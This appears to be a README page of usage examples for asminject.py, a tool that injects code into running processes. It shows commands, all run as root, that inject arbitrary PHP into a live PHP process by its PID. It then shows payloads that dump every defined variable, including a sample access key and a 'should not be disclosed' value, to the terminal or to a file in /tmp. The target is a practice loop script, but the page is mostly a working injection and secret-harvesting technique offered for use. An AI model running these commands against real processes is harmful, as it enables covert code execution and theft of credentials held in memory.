Files

3.4 KiB

asminject.py examples - PHP

[ Back to the main README.md ]

Execute arbitrary PHP code inside an existing PHP process

The execute_php_code.s payload requires two variables: phpcode, which should contain the PHP code that should be executed in the existing PHP process, and phpname, which can generally be set to any string.

This payload requires relative offsets for the php binary used by the target process.

In one terminal window, launch the practice PHP loop, e.g.:

$ php practice/php_loop.php

2022-05-12T13:40:51-0700 - Loop count 0
2022-05-12T13:40:56-0700 - Loop count 1
2022-05-12T13:41:01-0700 - Loop count 2

In a separate window, find the target process, and inject the code:

# ps auxww | grep php | grep -v grep  
  
root     2037629  [...] php practice/php_loop.php

# python3 ./asminject.py 2037629 execute_php_code.s \
   --relative-offsets-from-binaries \
   --var phpcode "echo \\\"Injected PHP code\\\n\\\";" \
   --var phpname PHP

Note that on ARM32 Linux, you may need to flag the php binary as non-PIC code, e.g.:

# python3 ./asminject.py 483 execute_php_code.s \
   --relative-offsets-from-binaries \
   --var phpcode "echo \\\"Injected PHP code\\\n\\\";" \
   --var phpname PHP \
   --non-pic-binary 'bin/php'

In the first window, note that the loop is interrupted by the injected code, e.g.:

2022-05-12T13:41:46-0700 - Loop count 11
Injected PHP code
2022-05-12T13:41:53-0700 - Loop count 12
2022-05-12T13:41:58-0700 - Loop count 13

Write all variables to standard out

Use the following PHP code, which was based on this Stack Overflow discussion

var_dump(get_defined_vars());

e.g.

python3 ./asminject.py 249986 execute_php_code.s \
   --relative-offsets-from-binaries \
   --var phpcode "var_dump(get_defined_vars());" \
   --var phpname PHP

Example output:

2022-06-09T16:18:04-0700 - Loop count 8
array(11) {
  ["_GET"]=>
  array(0) {
  }
  ["_POST"]=>
  array(0) {
  }
  ["_COOKIE"]=>
  array(0) {
  }
  ["_FILES"]=>
  array(0) {
  }
  ["argv"]=>
  array(1) {
    [0]=>
    string(21) "practice/php_loop.php"
  }
...omitted for brevity...
["example_global_var_1"]=>
  string(20) "AKIASADF9370235SUAS0"
  ["example_global_var_2"]=>
  string(34) "This value should not be disclosed"
  ["x"]=>
  int(8)
  ["current_timestamp"]=>
  string(24) "2022-06-09T16:18:04-0700"
}
2022-06-09T16:18:13-0700 - Loop count 9

Write all variables to a file

Use the following PHP code, which was based on this Stack Overflow discussion combined with the previous code:

ob_flush(); ob_start(); var_dump(get_defined_vars()); file_put_contents("/tmp/php_var_dump.txt", ob_get_flush());

e.g.

# python3 ./asminject.py 10603 execute_php_code.s \
   --relative-offsets-from-binaries \
   --var phpcode "ob_flush(); ob_start(); var_dump(get_defined_vars()); file_put_contents(\\\"/tmp/php_var_dump.txt\\\", ob_get_flush());" \
   --var phpname PHP